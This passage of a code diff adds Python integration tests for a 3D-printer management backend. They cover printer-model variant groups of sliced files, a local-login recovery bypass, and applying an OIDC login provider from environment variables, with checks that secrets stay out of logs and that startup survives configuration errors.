+    async def test_unsliced_file_cannot_be_a_variant(self, async_client, sliced_file_factory):
+        """A source .3mf has no G-code — it can never be dispatched to anything."""
+        sliced = await sliced_file_factory("H2S")
+        source = await sliced_file_factory(None, filename="model.3mf", file_type="3mf")
+
+        r = await _create_group(async_client, sliced.id, source.id)
+        assert r.status_code == 400
+        assert "not a sliced file" in r.json()["detail"]
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_file_without_a_model_must_name_one(self, async_client, sliced_file_factory):
+        """Legacy 3MFs declare no model. Rather than guess, make the user say."""
+        known = await sliced_file_factory("H2S")
+        legacy = await sliced_file_factory(None)
+
+        r = await _create_group(async_client, known.id, legacy.id)
+        assert r.status_code == 400
+        assert "does not say which printer" in r.json()["detail"]
+
+        r = await async_client.post(
+            "/api/v1/library/variant-groups",
+            json={
+                "members": [
+                    {"library_file_id": known.id},
+                    {"library_file_id": legacy.id, "target_model": "H2C"},
+                ]
+            },
+        )
+        assert r.status_code == 201
+        assert [m["target_model"] for m in r.json()["members"]] == ["H2S", "H2C"]
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_a_file_belongs_to_one_group_only(self, async_client, sliced_file_factory):
+        a = await sliced_file_factory("H2S")
+        b = await sliced_file_factory("H2C")
+        c = await sliced_file_factory("H2D")
+        assert (await _create_group(async_client, a.id, b.id)).status_code == 201
+
+        r = await _create_group(async_client, a.id, c.id)
+        assert r.status_code == 409
+        assert "already belongs" in r.json()["detail"]
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_single_member_is_rejected_by_the_schema(self, async_client, sliced_file_factory):
+        only = await sliced_file_factory("H2S")
+        r = await _create_group(async_client, only.id)
+        assert r.status_code == 422, "a group of one expresses no choice"
+
+
+class TestVariantGroupMembership:
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_add_version_to_an_existing_group(self, async_client, sliced_file_factory):
+        """The common real case: the H2S version was queued last week, the H2C
+        version was sliced today."""
+        a = await sliced_file_factory("H2S")
+        b = await sliced_file_factory("H2C")
+        c = await sliced_file_factory("H2D")
+        gid = (await _create_group(async_client, a.id, b.id)).json()["id"]
+
+        r = await async_client.post(f"/api/v1/library/variant-groups/{gid}/members", json={"library_file_id": c.id})
+        assert r.status_code == 200
+        assert [m["target_model"] for m in r.json()["members"]] == ["H2S", "H2C", "H2D"]
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_added_member_cannot_duplicate_a_model(self, async_client, sliced_file_factory):
+        a = await sliced_file_factory("H2S")
+        b = await sliced_file_factory("H2C")
+        dupe = await sliced_file_factory("H2C")
+        gid = (await _create_group(async_client, a.id, b.id)).json()["id"]
+
+        r = await async_client.post(f"/api/v1/library/variant-groups/{gid}/members", json={"library_file_id": dupe.id})
+        assert r.status_code == 400
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_removing_down_to_one_dissolves_the_group(self, async_client, sliced_file_factory):
+        """A leftover one-member group would look like a choice and behave like an
+        ordinary job — worse than no group at all."""
+        a = await sliced_file_factory("H2S")
+        b = await sliced_file_factory("H2C")
+        gid = (await _create_group(async_client, a.id, b.id)).json()["id"]
+
+        r = await async_client.delete(f"/api/v1/library/variant-groups/{gid}/members/{b.id}")
+        assert r.status_code == 204
+        assert (await async_client.get(f"/api/v1/library/variant-groups/{gid}")).status_code == 404
+        # ...and the survivor is still a perfectly good file.
+        assert (await async_client.get(f"/api/v1/library/variant-groups/by-file/{a.id}")).status_code == 404
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_removing_from_a_three_member_group_keeps_it(self, async_client, sliced_file_factory):
+        a = await sliced_file_factory("H2S")
+        b = await sliced_file_factory("H2C")
+        c = await sliced_file_factory("H2D")
+        gid = (await _create_group(async_client, a.id, b.id, c.id)).json()["id"]
+
+        assert (await async_client.delete(f"/api/v1/library/variant-groups/{gid}/members/{c.id}")).status_code == 204
+        body = (await async_client.get(f"/api/v1/library/variant-groups/{gid}")).json()
+        assert [m["library_file_id"] for m in body["members"]] == [a.id, b.id]
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_deleting_a_group_keeps_the_files(self, async_client, sliced_file_factory):
+        a = await sliced_file_factory("H2S")
+        b = await sliced_file_factory("H2C")
+        gid = (await _create_group(async_client, a.id, b.id)).json()["id"]
+
+        assert (await async_client.delete(f"/api/v1/library/variant-groups/{gid}")).status_code == 204
+        for f in (a, b):
+            assert (await async_client.get(f"/api/v1/library/files/{f.id}")).status_code == 200
+
+
+class TestVariantGroupOrdering:
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_reorder_changes_priority(self, async_client, sliced_file_factory):
+        """Order is the user saying which printer they would rather have when both
+        are free, so it has to be editable."""
+        a = await sliced_file_factory("H2S")
+        b = await sliced_file_factory("H2C")
+        gid = (await _create_group(async_client, a.id, b.id)).json()["id"]
+
+        r = await async_client.patch(f"/api/v1/library/variant-groups/{gid}", json={"member_file_ids": [b.id, a.id]})
+        assert r.status_code == 200
+        assert [m["target_model"] for m in r.json()["members"]] == ["H2C", "H2S"]
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_partial_reorder_is_rejected(self, async_client, sliced_file_factory):
+        """Listing a subset would leave the rest in an order nobody chose."""
+        a = await sliced_file_factory("H2S")
+        b = await sliced_file_factory("H2C")
+        gid = (await _create_group(async_client, a.id, b.id)).json()["id"]
+
+        r = await async_client.patch(f"/api/v1/library/variant-groups/{gid}", json={"member_file_ids": [a.id]})
+        assert r.status_code == 400
+
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_lookup_by_file(self, async_client, sliced_file_factory):
+        """Both consumers start from a file: the print modal knows what was
+        clicked, the queue flow knows what was selected."""
+        a = await sliced_file_factory("H2S")
+        b = await sliced_file_factory("H2C")
+        gid = (await _create_group(async_client, a.id, b.id)).json()["id"]
+
+        r = await async_client.get(f"/api/v1/library/variant-groups/by-file/{b.id}")
+        assert r.status_code == 200
+        assert r.json()["id"] == gid

+ 29 - 0
backend/tests/integration/test_local_login_gate.py

@@ -96,6 +96,35 @@ class TestLocalLoginGate:
         )
         assert response.status_code == 200, response.text
 
+    @pytest.mark.asyncio
+    @pytest.mark.integration
+    async def test_unrecognized_env_value_does_not_500_the_login_path(
+        self, async_client: AsyncClient, db_session: AsyncSession, monkeypatch: pytest.MonkeyPatch
+    ):
+        """The recovery bypass reads BAMBUDDY_LOCAL_LOGIN on the request path, so
+        an unrecognized value (BAMBUDDY_LOCAL_LOGIN=on) must fall back to "off",
+        never raise -- env_bool is strict for the startup OIDC reader but lenient
+        here. A raise would 500 the very endpoint the bypass exists to keep open."""
+        await _enable_auth(async_client, "gateonval")
+        await _set_setting(db_session, "local_login_enabled", "false")
+        monkeypatch.setenv("BAMBUDDY_LOCAL_LOGIN", "on")
+
+        response = await async_client.post(
+            "/api/v1/auth/login",
+            json={"username": "gateonval", "password": "GatePass1!"},
+        )
+        # Bypass stays off (same 401 as no env var), and crucially not a 500.
+        assert response.status_code == 401, response.text
+
+    def test_the_bypass_var_is_registered_in_the_typo_guard(self):
+        """config.py logs "possible typo" for any unregistered BAMBUDDY_* var.
+        Unregistered, this one tells an operator who is locked out and following
+        the documented recovery that the variable they just set is not real --
+        while the same line lists every BAMBUDDY_OIDC_* var as legitimate."""
+        from backend.app.core.config import _INTENTIONAL_UNSETTINGS
+
+        assert "BAMBUDDY_LOCAL_LOGIN" in _INTENTIONAL_UNSETTINGS
+
     @pytest.mark.asyncio
     @pytest.mark.integration
     async def test_forgot_password_rejected_when_local_disabled(

+ 801 - 0
backend/tests/integration/test_oidc_env_apply.py

@@ -0,0 +1,801 @@
+"""Upserting the env-managed OIDC provider (#2593).
+
+Startup applies BAMBUDDY_OIDC_* to the database. The row is updated in place,
+never delete-recreated: user_oidc_links.provider_id is FK ON DELETE CASCADE, so
+recreating the provider would silently unlink every account bound to it.
+"""
+
+from __future__ import annotations
+
+import logging
+import os
+
+import pytest
+from sqlalchemy import select
+
+from backend.app.core.oidc_env import apply_env_oidc_provider
+from backend.app.models.oidc_provider import OIDCProvider
+
+REQUIRED = {
+    "BAMBUDDY_OIDC_NAME": "Keycloak",
+    "BAMBUDDY_OIDC_ISSUER_URL": "https://sso.example.com/realms/main",
+    "BAMBUDDY_OIDC_CLIENT_ID": "bambuddy",
+    "BAMBUDDY_OIDC_CLIENT_SECRET": "s3cr3t",
+}
+
+ALL_VARS = (
+    *REQUIRED,
+    "BAMBUDDY_OIDC_SCOPES",
+    "BAMBUDDY_OIDC_ENABLED",
+    "BAMBUDDY_OIDC_AUTO_CREATE_USERS",
+    "BAMBUDDY_OIDC_AUTO_LINK_EXISTING",
+    "BAMBUDDY_OIDC_EMAIL_CLAIM",
+    "BAMBUDDY_OIDC_REQUIRE_EMAIL_VERIFIED",
+    "BAMBUDDY_OIDC_ICON_URL",
+    "BAMBUDDY_OIDC_AUTOLOGIN",
+    "BAMBUDDY_OIDC_DEFAULT_GROUP",
+)
+
+
+@pytest.fixture(autouse=True)
+def clean_env(monkeypatch):
+    for key in ALL_VARS:
+        monkeypatch.delenv(key, raising=False)
+
+
+def _configure(monkeypatch, **overrides):
+    for key, value in REQUIRED.items():
+        monkeypatch.setenv(key, value)
+    for key, value in overrides.items():
+        monkeypatch.setenv(key, value)
+
+
+async def _env_provider(db_session) -> OIDCProvider | None:
+    result = await db_session.execute(select(OIDCProvider).where(OIDCProvider.is_env_managed.is_(True)))
+    return result.scalar_one_or_none()
+
+
+@pytest.mark.asyncio
+async def test_creates_the_provider_from_env(db_session, monkeypatch):
+    _configure(monkeypatch)
+    await apply_env_oidc_provider(db_session)
+
+    provider = await _env_provider(db_session)
+    assert provider is not None
+    assert provider.name == "Keycloak"
+    assert provider.client_id == "bambuddy"
+    assert provider.is_env_managed is True
+    assert provider.client_secret == "s3cr3t"  # property decrypts
+
+
+@pytest.mark.asyncio
+async def test_a_changed_var_updates_the_same_row(db_session, monkeypatch):
+    """The id must survive: user_oidc_links references it with ON DELETE
+    CASCADE, so a delete-recreate would unlink every bound account."""
+    _configure(monkeypatch)
+    await apply_env_oidc_provider(db_session)
+    original_id = (await _env_provider(db_session)).id
+
+    monkeypatch.setenv("BAMBUDDY_OIDC_CLIENT_ID", "rotated")
+    await apply_env_oidc_provider(db_session)
+
+    provider = await _env_provider(db_session)
+    assert provider.id == original_id
+    assert provider.client_id == "rotated"
+
+
+@pytest.mark.asyncio
+async def test_removing_the_env_config_disables_but_keeps_the_row(db_session, monkeypatch):
+    _configure(monkeypatch)
+    await apply_env_oidc_provider(db_session)
+    original_id = (await _env_provider(db_session)).id
+
+    for key in ALL_VARS:
+        monkeypatch.delenv(key, raising=False)
+    await apply_env_oidc_provider(db_session)
+
+    # Looked up by name, not by the flag: releasing the provider clears the flag,
+    # and the point of this test is that the ROW survives either way.
+    result = await db_session.execute(select(OIDCProvider).where(OIDCProvider.name == "Keycloak"))
+    provider = result.scalar_one_or_none()
+    assert provider is not None, "deleting would cascade away every account link"
+    assert provider.id == original_id
+    assert provider.is_enabled is False
+
+
+@pytest.mark.asyncio
+async def test_env_autologin_clears_it_on_other_providers(db_session, monkeypatch):
+    """Only one provider may be the autologin target; the env one wins."""
+    ui_provider = OIDCProvider(
+        name="UI provider",
+        issuer_url="https://other.example.com",
+        client_id="ui",
+        is_autologin=True,
+    )
+    ui_provider.client_secret = "ui-secret"
+    db_session.add(ui_provider)
+    await db_session.commit()
+
+    _configure(monkeypatch, BAMBUDDY_OIDC_AUTOLOGIN="true")
+    await apply_env_oidc_provider(db_session)
+
+    await db_session.refresh(ui_provider)
+    assert (await _env_provider(db_session)).is_autologin is True
+    assert ui_provider.is_autologin is False
+
+
+@pytest.mark.asyncio
+async def test_a_ui_provider_is_otherwise_left_alone(db_session, monkeypatch):
+    ui_provider = OIDCProvider(name="UI provider", issuer_url="https://other.example.com", client_id="ui")
+    ui_provider.client_secret = "ui-secret"
+    db_session.add(ui_provider)
+    await db_session.commit()
+
+    _configure(monkeypatch)
+    await apply_env_oidc_provider(db_session)
+
+    await db_session.refresh(ui_provider)
+    assert ui_provider.is_env_managed is False
+    assert ui_provider.is_enabled is True
+    assert ui_provider.client_id == "ui"
+
+
+@pytest.mark.asyncio
+async def test_an_unsafe_auto_link_config_is_skipped_not_raised(db_session, monkeypatch):
+    """auto-link + unverified email is the SEC-1 account-takeover shape. The
+    schema rejects it for the UI, and env config must not be a way around that
+    -- but a bad variable must not stop the app from booting either."""
+    _configure(
+        monkeypatch,
+        BAMBUDDY_OIDC_AUTO_LINK_EXISTING="true",
+        BAMBUDDY_OIDC_REQUIRE_EMAIL_VERIFIED="false",
+    )
+
+    await apply_env_oidc_provider(db_session)
+
+    assert await _env_provider(db_session) is None
+
+
+@pytest.mark.asyncio
+async def test_a_rejected_config_never_logs_the_client_secret(db_session, monkeypatch, caplog):
+    """client_secret has max_length=512, so an over-long value raises
+    string_too_long. The rejection must be logged without the value: str(exc)
+    embeds input_value=..., which would leak the secret (no-secrets-in-logs)."""
+    secret = "S3CR3T" * 100  # > 512 chars -> ValidationError on client_secret
+    _configure(monkeypatch, BAMBUDDY_OIDC_CLIENT_SECRET=secret)
+
+    with caplog.at_level(logging.ERROR):
+        await apply_env_oidc_provider(db_session)
+
+    assert await _env_provider(db_session) is None  # rejected, not booted-through
+    assert "rejected" in caplog.text  # the rejection was actually logged
+    assert secret not in caplog.text
+    assert "S3CR3T" not in caplog.text  # not even a fragment of the value
+
+
+# --- an unrecognized boolean is rejected, not guessed --------------------------
+# `_env_bool` used to return the default for anything outside {true,1,yes}, so
+# BAMBUDDY_OIDC_REQUIRE_EMAIL_VERIFIED=on silently read as OFF and
+# BAMBUDDY_OIDC_ENABLED=on silently disabled the provider. Strict parsing
+# refuses the config instead -- through the same clean path a bad
+# DEFAULT_GROUP or a ValidationError already uses, so a typo never releases a
+# provider that was running fine.
+
+
+@pytest.mark.asyncio
+async def test_an_unrecognized_require_email_verified_leaves_a_running_provider_intact(db_session, monkeypatch, caplog):
+    _configure(monkeypatch)
+    await apply_env_oidc_provider(db_session)
+    original = await _env_provider(db_session)
+    original_id, original_enabled = original.id, original.is_enabled
+
+    monkeypatch.setenv("BAMBUDDY_OIDC_REQUIRE_EMAIL_VERIFIED", "on")
+    with caplog.at_level(logging.ERROR):
+        await apply_env_oidc_provider(db_session)
+
+    provider = await _env_provider(db_session)
+    assert provider is not None, "a typo must not release the provider"
+    assert provider.id == original_id
+    assert provider.is_enabled == original_enabled
+    assert provider.is_env_managed is True
+    assert "rejected" in caplog.text
+    assert "BAMBUDDY_OIDC_REQUIRE_EMAIL_VERIFIED" in caplog.text
+
+
+@pytest.mark.asyncio
+async def test_an_unrecognized_enabled_leaves_a_running_provider_intact(db_session, monkeypatch, caplog):
+    _configure(monkeypatch)
+    await apply_env_oidc_provider(db_session)
+    original = await _env_provider(db_session)
+    original_id, original_enabled = original.id, original.is_enabled
+
+    monkeypatch.setenv("BAMBUDDY_OIDC_ENABLED", "on")
+    with caplog.at_level(logging.ERROR):
+        await apply_env_oidc_provider(db_session)
+
+    provider = await _env_provider(db_session)
+    assert provider is not None, "a typo must not release the provider"
+    assert provider.id == original_id
+    assert provider.is_enabled == original_enabled
+    assert provider.is_env_managed is True
+    assert "rejected" in caplog.text
+    assert "BAMBUDDY_OIDC_ENABLED" in caplog.text
+
+
+@pytest.mark.asyncio
+async def test_a_non_validation_error_is_survivable_and_leaks_nothing(db_session, monkeypatch, caplog):
+    """The generic except branch handles anything that isn't a ValidationError
+    (e.g. a library call raising mid-construction). It must not stop boot and,
+    since such a message could carry a configured value, must log only the
+    exception class -- never str(exc)."""
+    # oidc_env imports OIDCProviderCreate inside the function (to avoid an
+    # import cycle), so patch it at its source module, not on oidc_env.
+    import backend.app.schemas.auth as auth_schemas
+
+    def _raise(**_kwargs):
+        raise RuntimeError("boom leaked-secret")
+
+    monkeypatch.setattr(auth_schemas, "OIDCProviderCreate", _raise)
+    _configure(monkeypatch, BAMBUDDY_OIDC_CLIENT_SECRET="leaked-secret")
+
+    with caplog.at_level(logging.ERROR):
+        await apply_env_oidc_provider(db_session)  # must not raise
+
+    assert await _env_provider(db_session) is None
+    assert "could not be applied" in caplog.text
+    assert "RuntimeError" in caplog.text  # class is logged...
+    assert "leaked-secret" not in caplog.text  # ...but nothing from the message
+
+
+@pytest.mark.asyncio
+async def test_a_commit_failure_is_survivable_and_leaks_nothing(db_session, monkeypatch, caplog):
+    """The upsert's db.execute/db.commit calls sit outside the inner
+    ValidationError guard -- a Postgres blip or a SQLite WAL lock at startup
+    must not propagate out of the lifespan either. Only the exception class
+    may be logged, never str(exc), since a DB error message can echo a
+    configured value."""
+
+    async def _raise_on_commit():
+        raise RuntimeError("database is locked")
+
+    monkeypatch.setattr(db_session, "commit", _raise_on_commit)
+    _configure(monkeypatch, BAMBUDDY_OIDC_CLIENT_SECRET="leaked-secret")
+
+    with caplog.at_level(logging.ERROR):
+        await apply_env_oidc_provider(db_session)  # must not raise
+
+    assert "could not be applied" in caplog.text
+    assert "RuntimeError" in caplog.text  # class is logged...
+    assert "leaked-secret" not in caplog.text  # ...but nothing from the message
+
+
+@pytest.mark.asyncio
+async def test_a_failing_rollback_is_also_survivable(db_session, monkeypatch, caplog):
+    """The handler rolls back after a failed commit -- but rollback on a wedged
+    connection can raise too, and 'never raises' has to hold for that as well
+    or the boot dies on the recovery path. The rollback is suppressed."""
+
+    async def _raise_on_commit():
+        raise RuntimeError("database is locked")
+
+    async def _raise_on_rollback():
+        raise RuntimeError("connection is closed")
+
+    monkeypatch.setattr(db_session, "commit", _raise_on_commit)
+    monkeypatch.setattr(db_session, "rollback", _raise_on_rollback)
+    _configure(monkeypatch, BAMBUDDY_OIDC_CLIENT_SECRET="leaked-secret")
+
+    with caplog.at_level(logging.ERROR):
+        await apply_env_oidc_provider(db_session)  # must not raise, even here
+
+    assert "could not be applied" in caplog.text
+    assert "leaked-secret" not in caplog.text
+
+
+@pytest.mark.asyncio
+async def test_applying_twice_without_changes_is_a_no_op(db_session, monkeypatch):
+    """Every boot re-applies; the second run must not create a second row."""
+    _configure(monkeypatch)
+    await apply_env_oidc_provider(db_session)
+    await apply_env_oidc_provider(db_session)
+
+    result = await db_session.execute(select(OIDCProvider).where(OIDCProvider.is_env_managed.is_(True)))
+    assert len(result.scalars().all()) == 1
+
+
+# --- identity is the name, not the flag ---------------------------------------
+# The provider is looked up by BAMBUDDY_OIDC_NAME, which is unique on the table.
+# Matching on is_env_managed instead made three things impossible: adopting a
+# provider that already carries the name (the insert hit the unique constraint
+# and took startup down with it), releasing the provider when the config goes
+# away, and finding it again afterwards.
+
+
+@pytest.mark.asyncio
+async def test_a_name_collision_adopts_the_existing_provider(db_session, monkeypatch):
+    """An operator who names the env provider after one they created in the UI
+    must not end up with an app that refuses to boot."""
+    ui_provider = OIDCProvider(name="Keycloak", issuer_url="https://old.example.com", client_id="ui-client")
+    ui_provider.client_secret = "ui-secret"
+    db_session.add(ui_provider)
+    await db_session.commit()
+    original_id = ui_provider.id
+
+    _configure(monkeypatch)
+    await apply_env_oidc_provider(db_session)
+
+    provider = await _env_provider(db_session)
+    assert provider is not None
+    assert provider.id == original_id, "adopted, not duplicated"
+    assert provider.client_id == "bambuddy"
+
+    result = await db_session.execute(select(OIDCProvider).where(OIDCProvider.name == "Keycloak"))
+    assert len(result.scalars().all()) == 1
+
+
+@pytest.mark.asyncio
+async def test_adopting_a_ui_provider_logs_a_distinct_warning(db_session, monkeypatch, caplog):
+    """Overwriting a UI-created provider in place is a bigger deal than a
+    routine re-apply -- it must not be silent at the same INFO level."""
+    ui_provider = OIDCProvider(name="Keycloak", issuer_url="https://old.example.com", client_id="ui-client")
+    ui_provider.client_secret = "ui-secret"
+    db_session.add(ui_provider)
+    await db_session.commit()
+
+    _configure(monkeypatch)
+    with caplog.at_level(logging.INFO):
+        await apply_env_oidc_provider(db_session)
+
+    warnings = [r for r in caplog.records if r.levelname == "WARNING"]
+    assert any("adopted" in r.message for r in warnings)
+
+
+@pytest.mark.asyncio
+async def test_a_routine_reapply_does_not_log_an_adoption_warning(db_session, monkeypatch, caplog):
+    """The same provider re-applying on the next boot is not an adoption --
+    it was already env-managed."""
+    _configure(monkeypatch)
+    await apply_env_oidc_provider(db_session)
+    caplog.clear()
+
+    with caplog.at_level(logging.INFO):
+        await apply_env_oidc_provider(db_session)
+
+    warnings = [r for r in caplog.records if r.levelname == "WARNING"]
+    assert not any("adopted" in r.message for r in warnings)
+
+
+@pytest.mark.asyncio
+async def test_removing_the_config_releases_the_provider_to_the_ui(db_session, monkeypatch):
+    """Nothing manages it any more, so the API must stop refusing edits and
+    deletes -- otherwise the row is a dead end only reachable via the database."""
+    _configure(monkeypatch)
+    await apply_env_oidc_provider(db_session)
+
+    for key in ALL_VARS:
+        monkeypatch.delenv(key, raising=False)
+    await apply_env_oidc_provider(db_session)
+
+    result = await db_session.execute(select(OIDCProvider).where(OIDCProvider.name == "Keycloak"))
+    provider = result.scalar_one()
+    assert provider.is_enabled is False
+    assert provider.is_env_managed is False
+
+
+@pytest.mark.asyncio
+async def test_restoring_the_config_finds_the_same_row_again(db_session, monkeypatch):
+    """The account links hang off this row; a second provider would orphan them."""
+    _configure(monkeypatch)
+    await apply_env_oidc_provider(db_session)
+    original_id = (await _env_provider(db_session)).id
+
+    for key in ALL_VARS:
+        monkeypatch.delenv(key, raising=False)
+    await apply_env_oidc_provider(db_session)
+
+    _configure(monkeypatch)
+    await apply_env_oidc_provider(db_session)
+
+    provider = await _env_provider(db_session)
+    assert provider.id == original_id
+    assert provider.is_enabled is True
+
+
+@pytest.mark.asyncio
+async def test_the_issuer_and_client_can_change_under_the_same_name(db_session, monkeypatch):
+    _configure(monkeypatch)
+    await apply_env_oidc_provider(db_session)
+    original_id = (await _env_provider(db_session)).id
+
+    monkeypatch.setenv("BAMBUDDY_OIDC_ISSUER_URL", "https://sso.example.com/realms/other")
+    monkeypatch.setenv("BAMBUDDY_OIDC_CLIENT_ID", "rotated")
+    await apply_env_oidc_provider(db_session)
+
+    provider = await _env_provider(db_session)
+    assert provider.id == original_id
+    assert provider.issuer_url == "https://sso.example.com/realms/other"
+    assert provider.client_id == "rotated"
+
+
+# --- a rename must not leave the old row managed -------------------------------
+# Identity is the name, so renaming BAMBUDDY_OIDC_NAME matches nothing and
+# creates a second row. Leaving the flag on the first one is what makes that
+# fatal: it stays enabled with a stale issuer and secret on the login page, the
+# API refuses every edit/disable/delete on it (409), and the release path's
+# scalar_one_or_none() then raises MultipleResultsFound out of the lifespan --
+# the app stops booting. Both states are reachable by ordinary config edits.
+
+
+async def _env_managed(db_session) -> list[OIDCProvider]:
+    result = await db_session.execute(select(OIDCProvider).where(OIDCProvider.is_env_managed.is_(True)))
+    return list(result.scalars().all())
+
+
+@pytest.mark.asyncio
+async def test_renaming_the_provider_releases_the_row_it_managed_before(db_session, monkeypatch):
+    _configure(monkeypatch, BAMBUDDY_OIDC_AUTOLOGIN="true")
+    await apply_env_oidc_provider(db_session)
+    old_id = (await _env_provider(db_session)).id
+
+    monkeypatch.setenv("BAMBUDDY_OIDC_NAME", "Authentik")
+    await apply_env_oidc_provider(db_session)
+
+    managed = await _env_managed(db_session)
+    assert [p.name for p in managed] == ["Authentik"], "exactly one row may carry the flag"
+
+    old = (await db_session.execute(select(OIDCProvider).where(OIDCProvider.id == old_id))).scalar_one()
+    # Released, not deleted -- user_oidc_links.provider_id cascades.
+    assert old.is_env_managed is False
+    assert old.is_enabled is False, "a stale issuer must not stay on the login page"
+    assert old.is_autologin is False
+
+
+@pytest.mark.asyncio
+async def test_boot_survives_removing_the_config_after_a_rename(db_session, monkeypatch):
+    """The MultipleResultsFound path: rename, then unset. Must not raise."""
+    _configure(monkeypatch)
+    await apply_env_oidc_provider(db_session)
+    monkeypatch.setenv("BAMBUDDY_OIDC_NAME", "Authentik")
+    await apply_env_oidc_provider(db_session)
+
+    for key in ALL_VARS:
+        monkeypatch.delenv(key, raising=False)
+    await apply_env_oidc_provider(db_session)  # must not raise
+
+    assert await _env_managed(db_session) == []
+    names = (await db_session.execute(select(OIDCProvider.name))).scalars().all()
+    assert sorted(names) == ["Authentik", "Keycloak"], "both rows survive, both released"
+
+
+@pytest.mark.asyncio
+async def test_every_managed_row_is_released_not_just_one(db_session, monkeypatch):
+    """The upsert's sweep should keep this at one row. Should is not enforced by
+    the schema, and the cost of being wrong is the whole release path raising
+    MultipleResultsFound out of the lifespan -- so it releases what it finds."""
+    for name in ("Keycloak", "Authentik"):
+        stale = OIDCProvider(
+            name=name,
+            issuer_url="https://sso.example.com/realms/main",
+            client_id="bambuddy",
+            is_env_managed=True,
+        )
+        stale.client_secret = "s3cr3t"
+        db_session.add(stale)
+    await db_session.commit()
+
+    await apply_env_oidc_provider(db_session)  # no vars set -> release path
+
+    assert await _env_managed(db_session) == []
+
+
+@pytest.mark.asyncio
+async def test_releasing_the_provider_clears_autologin(db_session, monkeypatch):
+    """is_enabled and is_env_managed alone leave a UI-editable row carrying a
+    latent autologin claim: update_oidc_provider only runs the exclusivity
+    sweep when a request sets is_autologin=True, so merely re-enabling this row
+    makes it the autologin target again."""
+    _configure(monkeypatch, BAMBUDDY_OIDC_AUTOLOGIN="true")
+    await apply_env_oidc_provider(db_session)
+    assert (await _env_provider(db_session)).is_autologin is True
+
+    for key in ALL_VARS:
+        monkeypatch.delenv(key, raising=False)
+    await apply_env_oidc_provider(db_session)
+
+    released = (await db_session.execute(select(OIDCProvider).where(OIDCProvider.name == "Keycloak"))).scalar_one()
+    assert released.is_autologin is False
+
+
+# --- default group by name -----------------------------------------------------
+# Group ids are not stable across installs, so a declarative deployment cannot
+# name one by id. Without this, every auto-created user falls back to Viewers
+# (routes/mfa.py) and the env lock means the UI cannot correct the provider.
+
+
+async def _group(db_session, name: str):
+    from backend.app.models.group import Group
+
+    group = Group(name=name, description=f"Test group {name}")
+    db_session.add(group)
+    await db_session.commit()
+    return group
+
+
+@pytest.mark.asyncio
+async def test_the_default_group_is_resolved_by_name(db_session, monkeypatch):
+    group = await _group(db_session, "Operators")
+    _configure(monkeypatch, BAMBUDDY_OIDC_DEFAULT_GROUP="Operators")
+
+    await apply_env_oidc_provider(db_session)
+
+    assert (await _env_provider(db_session)).default_group_id == group.id
+
+
+@pytest.mark.asyncio
+async def test_an_unknown_group_name_is_rejected_rather_than_defaulted(db_session, monkeypatch, caplog):
+    """Silently falling back to Viewers is how a typo mints under-privileged
+    users for weeks. The API answers 400 for a default_group_id that does not
+    exist; env config gets the same answer, logged and survivable."""
+    _configure(monkeypatch, BAMBUDDY_OIDC_DEFAULT_GROUP="Nope")
+
+    with caplog.at_level(logging.ERROR):
+        await apply_env_oidc_provider(db_session)
+
+    assert await _env_provider(db_session) is None
+    assert "BAMBUDDY_OIDC_DEFAULT_GROUP" in caplog.text
+    assert "Nope" in caplog.text
+
+
+@pytest.mark.asyncio
+async def test_an_unknown_group_name_leaves_the_previous_provider_intact(db_session, monkeypatch):
+    """Rejection happens before the upsert, so the running config survives a
+    bad edit -- the provider keeps working until the operator fixes the name."""
+    group = await _group(db_session, "Operators")
+    _configure(monkeypatch, BAMBUDDY_OIDC_DEFAULT_GROUP="Operators")
+    await apply_env_oidc_provider(db_session)
+
+    monkeypatch.setenv("BAMBUDDY_OIDC_DEFAULT_GROUP", "Typo")
+    await apply_env_oidc_provider(db_session)
+
+    provider = await _env_provider(db_session)
+    assert provider is not None
+    assert provider.default_group_id == group.id
+
+
+@pytest.mark.asyncio
+async def test_no_group_variable_leaves_the_default_group_unset(db_session, monkeypatch):
+    _configure(monkeypatch)
+    await apply_env_oidc_provider(db_session)
+
+    assert (await _env_provider(db_session)).default_group_id is None
+
+
+@pytest.mark.asyncio
+async def test_removing_the_group_variable_clears_the_default_group(db_session, monkeypatch):
+    """The environment is the whole truth for this row; a group that is no
+    longer declared must not linger, since the lock blocks removing it in the UI."""
+    await _group(db_session, "Operators")
+    _configure(monkeypatch, BAMBUDDY_OIDC_DEFAULT_GROUP="Operators")
+    await apply_env_oidc_provider(db_session)
+
+    monkeypatch.delenv("BAMBUDDY_OIDC_DEFAULT_GROUP")
+    await apply_env_oidc_provider(db_session)
+
+    assert (await _env_provider(db_session)).default_group_id is None
+
+
+@pytest.mark.asyncio
+async def test_an_empty_group_variable_counts_as_unset(db_session, monkeypatch):
+    """Same rule the required vars follow: an empty value in a compose file is
+    a forgotten value, not a request to reject the config."""
+    _configure(monkeypatch, BAMBUDDY_OIDC_DEFAULT_GROUP="")
+    await apply_env_oidc_provider(db_session)
+
+    provider = await _env_provider(db_session)
+    assert provider is not None
+    assert provider.default_group_id is None
+
+
+# --- blank optional strings count as unset, not a refusal ---------------------
+# `.env.example` ships `# BAMBUDDY_OIDC_ICON_URL=` commented out, so uncommenting
+# it must not take the provider down -- same rule default_group already follows.
+
+
+@pytest.mark.asyncio
+async def test_a_blank_scopes_still_creates_the_provider(db_session, monkeypatch):
+    _configure(monkeypatch, BAMBUDDY_OIDC_SCOPES="")
+    await apply_env_oidc_provider(db_session)
+
+    provider = await _env_provider(db_session)
+    assert provider is not None, "a blank optional var must not refuse the whole provider"
+    assert provider.scopes == "openid email profile"
+
+
+@pytest.mark.asyncio
+async def test_a_blank_email_claim_still_creates_the_provider(db_session, monkeypatch):
+    _configure(monkeypatch, BAMBUDDY_OIDC_EMAIL_CLAIM="")
+    await apply_env_oidc_provider(db_session)
+
+    provider = await _env_provider(db_session)
+    assert provider is not None, "a blank optional var must not refuse the whole provider"
+    assert provider.email_claim == "email"
+
+
+@pytest.mark.asyncio
